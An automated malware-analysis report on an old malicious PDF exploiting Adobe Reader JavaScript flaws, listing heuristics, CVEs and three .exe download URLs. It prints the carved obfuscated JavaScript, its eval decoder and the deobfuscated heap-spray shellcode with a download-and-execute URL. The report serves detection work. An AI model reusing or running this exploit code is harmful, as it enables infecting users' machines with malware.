Malicious PDF — malware analysis report

Static analysis result for SHA-256 7abd965c496759bf…

MALICIOUS

PDF

7.2 KB Created: 2009-09-13 19:44:82 Authoring application: Eblasha 3.2.3.4 (via PDF Library 10.2.10.3) First seen: 2012-07-12
MD5: adc13bee65569c524abf2a0dca88e7a5 SHA-1: 50a254ad7a7a5b69904cefeef4d32152905122fd SHA-256: 7abd965c496759bf7a671214b29f3fa0790e873a3eded3a43968312efb7979c5
608 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that exploits multiple CVEs in Adobe Reader (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992). The JavaScript is designed to download and execute a second-stage payload from the URLs provided. The ML classifier and ClamAV detection further confirm its malicious nature.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 15

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-7275405-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7275405-0
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var bceghlow=0, dghjqryz='';bceghlow<5358;bceghlow++){dghjqryz += String.fromCharCode(fra[bceghlow]-'aiPqrTw'.substring(bceghlow%'aiPqrTw'.length,bceghlow%'aiPqrTw'.length+1).charCodeAt(0));}eval(dghjqryz);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED
    The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: AssertionError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://adminregion.info/born/egmntvwz3.exe Referenced by PDF JavaScript
    • http://adminregion.info/born/bij3.exeReferenced by PDF JavaScript
    • http://adminregion.info/born/cikox3.exeReferenced by PDF JavaScript
🗂 Part of campaign: adultxxxblog8.in 61 samples

Related samples 2

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21440 bytes
SHA-256: bdf5510198502b17050c1f509fd6c24107fda1bdad7c96c204f9a415f6a6e414
Preview script
First 1,000 lines of the extracted script
var fra=[199,222,190,212,230,189,230,207,137,182,218,234,179,224,213,145,201,210,228,199,231,141,213,181,223,155,207,238,201,210,188,214,154,205,216,211,220,192,159,222,185,229,200,221,184,155,164,144,227,198,215,121,236,235,181,233,212,217,123,174,235,181,233,212,217,139,238,124,205,216,211,220,192,174,235,181,233,212,217,126,228,231,182,234,213,219,185,223,217,124,167,141,213,181,223,161,134,160,156,219,181,229,231,198,229,129,226,177,227,229,196,178,222,115,182,230,224,183,235,202,216,190,145,231,200,224,205,200,192,227,219,194,235,199,145,121,236,232,181,233,129,217,177,234,222,195,216,197,166,197,223,215,199,218,194,217,181,153,148,121,236,151,157,137,161,151,201,168,153,170,129,150,231,132,167,145,153,117,230,170,150,167,145,142,197,164,162,136,167,134,222,132,161,170,150,156,214,161,146,166,166,121,236,145,157,132,161,151,201,171,145,161,146,150,231,140,185,145,157,117,230,162,136,171,145,142,197,163,162,132,187,134,222,130,161,162,132,156,214,156,148,161,162,121,236,145,153,135,180,151,201,167,145,160,135,150,231,132,168,152,157,117,230,165,135,186,148,142,197,167,166,151,167,134,222,132,161,170,150,156,214,160,136,164,162,121,236,153,171,128,180,151,201,167,164,157,128,150,231,139,167,153,171,117,230,179,152,168,164,142,197,166,170,140,185,134,222,149,179,162,140,156,214,161,146,161,171,121,236,148,157,132,161,151,201,171,145,161,148,150,231,140,185,152,172,117,230,165,151,172,153,142,197,165,166,138,184,134,222,148,162,167,149,156,214,155,146,182,164,121,236,153,171,149,163,151,201,188,163,174,147,150,231,137,184,149,175,117,230,170,135,172,147,142,197,166,168,153,184,134,222,133,166,170,141,156,214,158,134,161,166,121,236,153,171,133,168,151,201,170,164,160,131,150,231,139,171,153,171,117,230,169,140,170,148,142,197,183,165,132,170,134,222,136,179,167,138,156,214,155,128,168,168,121,236,167,156,128,164,151,201,186,154,156,131,150,231,137,167,149,162,117,230,179,152,171,146,142,197,183,184,135,170,134,222,128,183,165,138,156,214,154,132,179,183,121,236,148,161,128,164,151,201,174,149,175,130,150,231,151,168,145,161,117,230,162,152,186,167,142,197,183,179,132,170,134,222,149,179,166,132,156,214,158,136,182,184,121,236,167,161,131,179,151,201,188,150,160,133,150,231,140,185,150,174,117,230,164,136,171,151,142,197,180,165,132,170,134,222,136,179,168,138,156,214,157,136,161,181,121,236,150,159,136,179,151,201,167,148,154,147,150,231,140,185,165,156,117,230,170,149,167,149,142,197,180,165,132,170,134,222,133,182,167,154,156,214,172,131,166,162,121,236,152,173,136,181,151,201,172,152,153,136,150,231,150,175,150,155,117,230,181,149,170,148,142,197,166,180,140,184,134,222,145,163,183,140,156,214,175,150,183,184,121,236,148,155,150,183,151,201,175,163,172,128,150,231,154,169,167,160,117,230,166,154,184,166,142,197,168,167,150,175,134,222,134,166,164,153,156,214,170,146,168,170,121,236,154,161,134,167,151,201,184,163,159,134,150,231,151,167,148,156,117,230,168,133,185,153,142,197,161,162,138,171,134,222,133,161,162,132,156,214,158,132,167,170,121,236,152,155,134,169,151,201,170,150,159,133,150,231,133,186,147,157,117,230,169,136,173,154,142,197,166,166,137,167,134,222,146,169,167,135,156,214,175,147,178,179,121,236,152,172,128,181,151,201,172,150,175,150,150,231,140,185,145,157,117,230,170,135,189,153,142,197,161,181,151,171,134,222,134,180,180,132,156,214,174,128,169,179,121,236,150,153,137,169,151,201,173,167,159,136,150,231,134,188,151,174,117,230,168,140,173,149,142,197,168,164,139,172,134,222,134,181,168,151,156,214,171,136,166,166,121,236,149,174,136,182,151,201,188,164,153,149,150,231,137,172,167,175,117,230,171,135,167,149,142,197,164,165,137,167,134,222,133,161,181,132,156,214,158,134,166,162,121,236,150,158,136,179,151,201,175,148,153,132,150,231,139,189,164,155,117,230,181,134,175,148,142,197,166,164,136,186,134,222,146,169,167,132,156,214,154,145,164,168,121,236,152,153,130,183,151,201,172,150,175,150,150,231,137,185,145,157,117,230,167,138,172,152,142,197,170,170,150,175,134,222,136,178,184,153,156,214,175,150,161,183,121,236,145,157,133,166,151,201,167,145,159,145,150,231,152,174,167,175,117,230,169,136,173,153,142,197,168,162,139,171,134,222,130,183,165,149,156,214,159,129,163,184,121,236,151,173,134,165,151,201,173,166,159,137,150,231,138,172,152,155,117,230,168,141,173,152,142,197,167,183,138,189,134,222,134,170,164,153,156,214,159,134,167,183,121,236,147,175,134,183,151,201,173,167,159,130,150,231,138,188,152,155,117,230,168,137,169,167,142,197,167,182,138,174,134,222,135,165,168,153,156,214,160,135,168,168,121,236,148,156,135,178,151,201,173,150,155,149,150,231,138,172,152,161,117,230,162,132,167,145,139,121,172,232,181,233,129,215,191,225,175,201,229,198,220,179,210,226,185,159,131,142,197,161,179,132,184,134,222,128,178,162,149,156,214,153,145,161,179,121,236,145,170,128,178,148,125,129,215,202,194,145,218,185,216,209,203,188,224,213,191,180,207,216,192,156,226,181,240,205,216,177,213,173,202,216,211,137,178,218,217,182,227,208,204,187,174,231,194,220,212,204,177,225,215,124,153,134,222,128,178,162,149,156,214,153,145,161,179,118,160,156,223,177,227,146,188,220,194,205,181,227,229,189,241,198,166,130,161,173,202,216,211,137,195,225,228,181,240,158,209,181,210,214,185,233,212,210,202,214,157,188,220,194,217,178,221,225,183,226,143,213,181,223,217,200,223,156,224,184,218,222,185,159,195,210,183,211,222,195,218,204,151,188,214,224,187,235,201,165,195,225,228,181,240,138,228,178,218,217,182,227,208,204,187,156,175,182,224,200,203,188,224,213,191,178,222,115,198,210,228,116,221,202,213,188,211,222,195,218,204,166,178,218,217,182,227,208,204,187,159,229,201,217,212,221,194,218,224,187,159,145,149,195,225,228,181,240,138,164,198,210,228,116,217,205,216,179,220,175,182,224,200,203,188,224,213,191,165,212,222,178,228,230,198,224,207,208,120,161,158,182,224,200,203,188,224,213,191,165,205,206,190,216,230,188,164,212,217,194,210,235,125,178,216,209,185,221,215,124,217,205,216,179,220,160,192,220,207,208,196,217,157,199,231,211,202,201,173,162,204,171,145,153,128,161,155,207,217,205,216,179,220,175,182,227,208,204,187,156,212,192,230,196,212,123,215,219,192,227,195,213,191,212,221,143,244,107,223,177,227,146,193,220,206,200,177,227,228,181,240,158,215,181,232,146,149,233,211,202,201,153,155,143,221,208,219,120,231,211,198,151,202,166,128,172,219,144,168,149,153,128,172,219,127,162,138,228,189,214,223,179,216,211,219,177,234,205,189,212,158,203,188,224,213,191,162,201,206,177,225,212,192,230,196,212,139,238,124,202,216,211,137,190,230,223,145,168,147,162,137,170,171,141,176,154,162,137,170,171,141,176,154,162,137,170,171,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,161,136,169,170,140,175,153,164,197,229,219,192,165,209,219,185,223,230,186,159,131,142,132,166,162,132,167,199,139,124,223,231,193,160,156,230,90,215,231,194,218,213,210,191,223,146,183,230,205,213,177,211,209,185,228,194,210,188,153,155,207,237,194,219,112,228,218,185,227,205,204,191,213,215,145,236,207,206,195,212,211,196,220,137,139,117,230,168,136,176,145,142,197,162,170,149,168,134,222,128,161,162,132,156,214,161,146,161,162,121,236,148,153,132,161,151,201,171,145,161,146,150,231,140,185,150,157,117,230,162,136,171,145,142,197,165,162,140,185,134,222,136,179,162,136,156,214,153,132,165,162,121,236,147,153,128,181,151,201,169,145,153,128,150,231,135,187,145,153,117,230,162,132,174,164,142,197,161,162,139,174,134,222,128,162,169,136,156,214,156,131,180,165,121,236,151,157,147,161,151,201,171,145,161,146,150,231,139,175,148,153,117,230,170,150,167,164,142,197,161,181,136,167,134,222,135,161,170,150,156,214,170,148,162,181,121,236,150,161,136,179,151,201,188,163,153,136,150,231,140,185,145,162,117,230,165,136,171,145,142,197,165,162,140,187,134,222,136,179,169,151,156,214,156,147,166,170,121,236,149,157,134,178,151,201,187,146,158,145,150,231,134,185,166,155,117,230,170,150,188,147,142,197,182,180,153,186,134,222,133,178,166,154,156,214,161,131,166,164,121,236,150,159,149,178,151,201,172,150,161,137,150,231,137,173,145,157,117,230,170,150,172,152,142,197,164,181,139,170,134,222,135,165,170,150,156,214,160,136,164,165,121,236,167,156,128,164,151,201,175,163,158,134,150,231,134,167,152,159,117,230,184,135,167,148,142,197,180,171,135,170,134,222,133,161,166,141,156,214,170,148,165,163,121,236,167,175,131,164,151,201,167,167,156,134,150,231,133,171,163,174,117,230,165,140,167,148,142,197,168,166,154,169,134,222,147,162,162,140,156,214,153,148,180,184,121,236,167,170,128,164,151,201,188,163,157,128,150,231,137,175,166,175,117,230,184,140,170,163,142,197,182,167,139,172,134,222,136,179,167,153,156,214,155,132,165,168,121,236,164,156,128,164,151,201,175,163,159,134,150,231,136,175,145,172,117,230,167,138,175,163,142,197,161,165,133,186,134,222,136,179,182,135,156,214,161,145,161,166,121,236,164,156,128,164,151,201,172,166,158,150,150,231,151,170,150,153,117,230,169,152,175,165,142,197,166,169,132,175,134,222,146,169,167,134,156,214,172,145,164,165,121,236,150,171,136,178,151,201,184,147,174,136,150,231,154,189,167,175,117,230,165,134,189,167,142,197,169,180,151,167,134,222,150,163,184,139,156,214,157,150,178,183,121,236,152,158,146,169,151,201,173,150,155,149,150,231,149,185,152,161,117,230,171,140,173,151,142,197,178,180,138,173,134,222,147,161,165,135,156,214,159,129,179,170,121,236,145,153,134,165,151,201,172,145,153,128,150,231,137,171,151,161,117,230,169,134,173,153,142,197,164,167,138,172,134,222,129,180,164,136,156,214,160,132,167,171,121,236,150,157,133,161,151,201,185,153,158,131,150,231,154,186,162,170,117,230,169,151,167,165,142,197,166,167,154,189,134,222,136,179,162,136,156,214,161,131,183,170,121,236,145,172,147,165,151,201,173,164,171,128,150,231,153,167,153,170,117,230,167,132,176,153,142,197,167,184,138,175,134,222,130,182,168,153,156,214,159,136,167,166,121,236,152,155,135,166,151,201,173,165,159,147,150,231,150,175,150,157,117,230,166,153,175,166,142,197,182,181,132,188,134,222,133,166,184,154,156,214,162,131,161,166,121,236,148,156,133,161,151,201,172,145,172,128,150,231,137,173,150,153,117,230,167,137,175,163,142,197,169,165,132,171,134,222,135,183,181,134,156,214,172,130,169,165,121,236,150,155,132,180,151,201,185,153,158,128,150,231,133,184,148,159,117,230,169,132,169,167,142,197,166,167,154,189,134,222,133,179,162,136,156,214,158,134,166,169,121,236,154,161,146,169,151,201,175,162,175,149,150,231,154,189,145,174,117,230,162,136,172,150,142,197,161,162,138,184,134,222,148,168,184,154,156,214,160,132,167,170,121,236,152,153,135,165,151,201,169,167,156,145,150,231,138,168,147,175,117,230,168,152,173,149,142,197,167,183,138,176,134,222,134,166,169,134,156,214,159,137,167,169,121,236,151,174,134,183,151,201,173,154,155,149,150,231,138,173,151,174,117,230,164,154,173,167,142,197,167,184,138,169,134,222,134,182,169,134,156,214,159,130,163,184,121,236,151,170,134,170,151,201,169,166,156,131,150,231,139,175,151,158,117,230,162,132,173,150,139,121,172,232,181,233,129,214,181,222,209,181,233,211,202,201,174,224,185,238,129,170,194,227,211,205,159,138,164,198,210,228,116,218,196,166,128,233,162,183,167,196,153,179,161,213,143,237,194,219,112,210,214,184,233,158,153,200,165,162,132,167,145,153,139,231,211,198,151,212,204,175,221,215,194,180,212,209,181,221,222,183,230,197,206,126,221,215,194,222,213,209,122,163,173,202,216,211,137,188,214,224,145,216,197,205,194,158,154,199,218,192,213,181,223,157,132,239,148,161,121,172,232,181,233,129,226,177,227,229,196,180,214,215,181,228,213,181,231,198,145,114,150,231,141,167,154,153,117,230,171,132,176,145,139,121,172,235,181,233,212,217,141,215,219,204,214,202,221,120,234,211,198,234,209,149,188,214,224,125,178,215,202,194,145,213,195,236,207,221,130,174,154,183,218,142,153,200,165,162,132,167,145,153,121,160,211,184,219,211,164,182,224,228,124,237,194,219,112,212,225,201,229,213,166,128,172,213,195,236,207,221,140,212,225,201,229,213,155,139,212,225,201,229,213,148,123,154,237,193,220,206,200,177,227,228,181,240,188,204,191,230,224,200,212,158,226,177,227,229,196,162,212,209,181,221,222,183,230,197,206,139,238,124,202,216,211,137,191,231,215,198,221,205,216,199,174,231,194,220,212,204,177,225,215,124,153,134,222,128,212,162,183,156,214,153,179,161,213,118,160,156,224,184,218,222,185,159,208,223,181,227,216,192,230,216,151,188,214,224,187,235,201,165,132,165,171,137,169,138,228,191,231,215,198,221,205,216,199,156,175,195,237,198,219,182,221,225,203,178,222,115,196,217,219,199,165,196,216,188,221,211,182,202,213,216,194,214,175,151,230,205,213,177,211,160,183,230,205,213,181,212,230,153,228,194,210,188,186,224,186,230,137,228,195,230,212,190,177,131,139,124,222,229,187,177,208,223,181,227,216,192,230,216,230,121,172,239,94,221,214,215,179,229,219,195,229,129,204,191,221,222,181,217,192,208,181,229,219,183,230,207,145,121,236,219,186,159,194,217,192,159,214,195,218,143,172,191,221,222,181,217,143,208,181,229,187,183,230,207,146,203,231,211,198,151,194,219,194,234,175,194,220,216,137,145,227,228,181,240,137,146,139,231,211,198,151,215,223,192,214,230,188,240,194,166,197,223,215,199,218,194,217,181,153,148,121,236,151,157,137,161,151,201,168,153,170,129,150,231,132,167,145,153,117,230,170,150,167,145,142,197,164,162,136,167,134,222,132,161,170,150,156,214,161,146,166,166,121,236,145,157,132,161,151,201,171,145,161,146,150,231,140,185,145,157,117,230,162,136,171,145,142,197,163,162,132,187,134,222,130,161,162,132,156,214,156,148,161,162,121,236,145,153,135,180,151,201,167,145,160,135,150,231,132,168,152,157,117,230,165,135,186,148,142,197,167,166,151,167,134,222,132,161,170,150,156,214,160,136,164,162,121,236,153,171,128,180,151,201,167,164,157,128,150,231,139,167,153,171,117,230,179,152,168,164,142,197,166,170,140,185,134,222,149,179,162,140,156,214,161,146,161,171,121,236,148,157,132,161,151,201,171,145,161,148,150,231,140,185,152,172,117,230,165,151,172,153,142,197,165,166,138,184,134,222,148,162,167,149,156,214,155,146,182,164,121,236,153,171,149,163,151,201,188,163,174,147,150,231,137,184,149,175,117,230,170,135,172,147,142,197,166,168,153,184,134,222,133,166,170,141,156,214,158,134,161,166,121,236,153,171,133,168,151,201,170,164,160,131,150,231,139,171,153,171,117,230,169,140,170,148,142,197,183,165,132,170,134,222,136,179,167,138,156,214,155,128,168,168,121,236,167,156,128,164,151,201,186,154,156,131,150,231,137,167,149,162,117,230,179,152,171,146,142,197,183,184,135,170,134,222,128,183,165,138,156,214,154,132,179,183,121,236,148,161,128,164,151,201,174,149,175,130,150,231,151,168,145,161,117,230,162,152,186,167,142,197,183,179,132,170,134,222,149,179,166,132,156,214,158,136,182,184,121,236,167,161,131,179,151,201,188,150,160,133,150,231,140,185,150,174,117,230,164,136,171,151,142,197,180,165,132,170,134,222,136,179,168,138,156,214,157,136,161,181,121,236,150,159,136,179,151,201,167,148,154,147,150,231,140,185,165,156,117,230,170,149,167,149,142,197,180,165,132,170,134,222,133,182,167,154,156,214,172,131,166,162,121,236,152,173,136,181,151,201,172,152,153,136,150,231,150,175,150,155,117,230,181,149,170,148,142,197,166,180,140,184,134,222,145,163,183,140,156,214,175,150,183,184,121,236,148,155,150,183,151,201,175,163,172,128,150,231,154,169,167,160,117,230,166,154,184,166,142,197,168,167,150,175,134,222,134,166,164,153,156,214,170,146,168,170,121,236,154,161,134,167,151,201,184,163,159,134,150,231,151,167,148,156,117,230,168,133,185,153,142,197,161,162,138,171,134,222,133,161,162,132,156,214,158,132,167,170,121,236,152,155,134,169,151,201,170,150,159,133,150,231,133,186,147,157,117,230,169,136,173,154,142,197,166,166,137,167,134,222,146,169,167,135,156,214,175,147,178,179,121,236,152,172,128,181,151,201,172,150,175,150,150,231,140,185,145,157,117,230,170,135,189,153,142,197,161,181,151,171,134,222,134,180,180,132,156,214,174,128,169,179,121,236,150,153,137,169,151,201,173,167,159,136,150,231,134,188,151,174,117,230,168,140,173,149,142,197,168,164,139,172,134,222,134,181,168,151,156,214,171,136,166,166,121,236,149,174,136,182,151,201,188,164,153,149,150,231,137,172,167,175,117,230,171,135,167,149,142,197,164,165,137,167,134,222,133,161,181,132,156,214,158,134,166,162,121,236,150,158,136,179,151,201,175,148,153,132,150,231,139,189,164,155,117,230,181,134,175,148,142,197,166,164,136,186,134,222,146,169,167,132,156,214,154,145,164,168,121,236,152,153,130,183,151,201,172,150,175,150,150,231,137,185,145,157,117,230,167,138,172,152,142,197,170,170,150,175,134,222,136,178,184,153,156,214,175,150,161,183,121,236,145,157,133,166,151,201,167,145,159,145,150,231,152,174,167,175,117,230,169,136,173,153,142,197,168,162,139,171,134,222,130,183,165,149,156,214,159,129,163,184,121,236,151,173,134,165,151,201,173,166,159,137,150,231,138,172,152,155,117,230,168,141,173,152,142,197,167,183,138,189,134,222,134,170,164,153,156,214,159,134,167,183,121,236,147,175,134,183,151,201,173,167,159,130,150,231,138,188,152,155,117,230,168,135,169,167,142,197,167,180,138,176,134,222,135,169,168,154,156,214,155,149,164,165,121,236,152,161,134,166,151,201,167,145,159,133,147,155,143,237,194,219,112,217,201,197,172,145,153,147,191,175,202,237,209,206,196,217,235,181,165,205,206,190,216,230,188,161,147,164,198,210,228,116,227,198,215,141,161,234,136,167,145,153,128,161,159,124,223,184,218,133,161,162,151,197,140,153,200,164,170,125,178,215,202,194,145,235,181,233,212,217,141,230,224,185,234,196,202,192,214,154,118,156,214,162,128,170,162,121,236,154,153,137,161,148,125,178,218,202,194,228,226,145,221,202,225,175,218,230,124,240,194,219,195,225,158,192,220,207,146,139,231,211,198,151,209,158,145,219,189,138,172,199,166,120,161,234,132,218,145,204,128,212,162,183,164,145,225,132,161,162,132,167,145,146,127,161,234,136,167,145,153,128,161,173,186,230,211,145,198,210,228,116,237,210,204,161,181,171,138,240,158,153,139,231,227,183,200,165,162,134,234,174,196,172,162,211,155,167,167,186,178,215,218,179,194,182,141,173,218,148,123,154,237,181,233,211,226,171,231,227,183,200,165,162,134,234,207,145,240,194,219,195,225,157,202,237,209,206,196,217,235,181,178,222,115,198,210,228,116,235,182,182,184,191,212,155,238,158,222,190,214,229,183,216,209,206,120,147,151,132,176,131,146,139,232,218,189,227,198,145,196,198,191,188,197,195,176,199,159,222,185,229,200,221,184,173,162,204,171,145,153,128,154,237,200,204,174,209,158,211,185,203,162,158,221,165,190,218,162,217,168,224,139,238,124,200,204,174,209,158,211,185,203,180,131,183,126,147,157,200,204,174,209,158,211,185,203,178,194,217,192,159,214,195,218,143,172,191,221,222,181,217,143,208,181,229,187,183,230,207,145,196,198,191,188,197,195,176,199,154,173,209,244,107,207,197,223,213,200,224,208,215,112,225,214,186,214,212,221,177,227,230,124,160,220,223,177,227,146,202,220,211,220,185,224,224,145,216,209,217,126,231,219,185,238,198,219,166,214,228,199,224,208,215,126,229,225,167,235,211,210,190,216,154,125,178,215,206,194,228,219,195,229,158,223,181,227,229,189,230,207,151,194,214,226,192,216,196,206,120,160,206,152,166,200,149,119,152,155,143,237,194,219,112,231,211,198,234,202,216,190,208,211,198,233,194,226,141,223,215,203,151,162,219,194,210,235,124,237,198,219,195,218,225,194,165,196,209,177,227,179,200,159,145,146,124,231,215,198,234,202,216,190,159,213,188,216,211,170,196,153,163,125,163,215,206,194,228,219,195,229,143,204,184,210,228,149,235,137,155,121,154,173,189,221,137,145,198,210,228,199,224,208,215,175,210,228,198,216,218,196,128,206,175,145,175,138,143,118,153,232,181,233,212,210,191,223,209,181,233,211,202,201,204,163,177,180,158,153,121,237,238,124,237,194,219,195,218,225,194,214,194,219,194,210,235,175,168,190,166,141,162,152,122,237,194,219,195,218,225,194,214,194,219,194,210,235,175,169,190,165,131,154,155,207,236,213,210,188,208,226,198,224,207,221,182,153,155,143,244,107,210,182,153,154,202,216,211,220,185,224,224,179,216,211,219,177,234,205,132,212,157,161,121,237,238,124,237,194,219,195,218,225,194,214,194,219,194,210,235,175,167,190,166,141,169,152,122,237,194,219,195,218,225,194,214,194,219,194,210,235,175,168,190,165,130,151,152,202,216,211,220,185,224,224,179,216,211,219,177,234,205,134,212,157,155,121,154,237,183,230,205,213,177,211,209,185,228,194,210,188,153,155,143,244,107,210,182,153,154,202,216,211,220,185,224,224,179,216,211,219,177,234,205,132,212,157,162,121,237,238,124,237,194,219,195,218,225,194,214,194,219,194,210,235,175,167,190,166,141,170,152,122,237,194,219,195,218,225,194,214,194,219,194,210,235,175,168,190,165,129,154,155,207,218,208,213,188,210,212,179,222,198,221,185,212,225,194,159,138,164,205,238,124,196,219,199,200,195,229,211,198,235,137,146,139];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1874 211 bytes
SHA-256: eb8dc23803815bfbb8429d7d19a1da8961c159d3c6caa307762c32b16194fba2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var bceghlow=0, dghjqryz='';bceghlow<5358;bceghlow++){dghjqryz += String.fromCharCode(fra[bceghlow]-'aiPqrTw'.substring(bceghlow%'aiPqrTw'.length,bceghlow%'aiPqrTw'.length+1).charCodeAt(0));}eval(dghjqryz);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5358 bytes
SHA-256: b2ac8aaff669e1162cbd03fcfdb8ac11693cbcc5da48f782ed01cae8662b0047
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u612F%u6D64%u6E69%u6572%u6967%u6E6F%u692E%u666E%u2F6F%u6F62%u6E72%u652F%u6D67%u746E%u7776%u337A%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
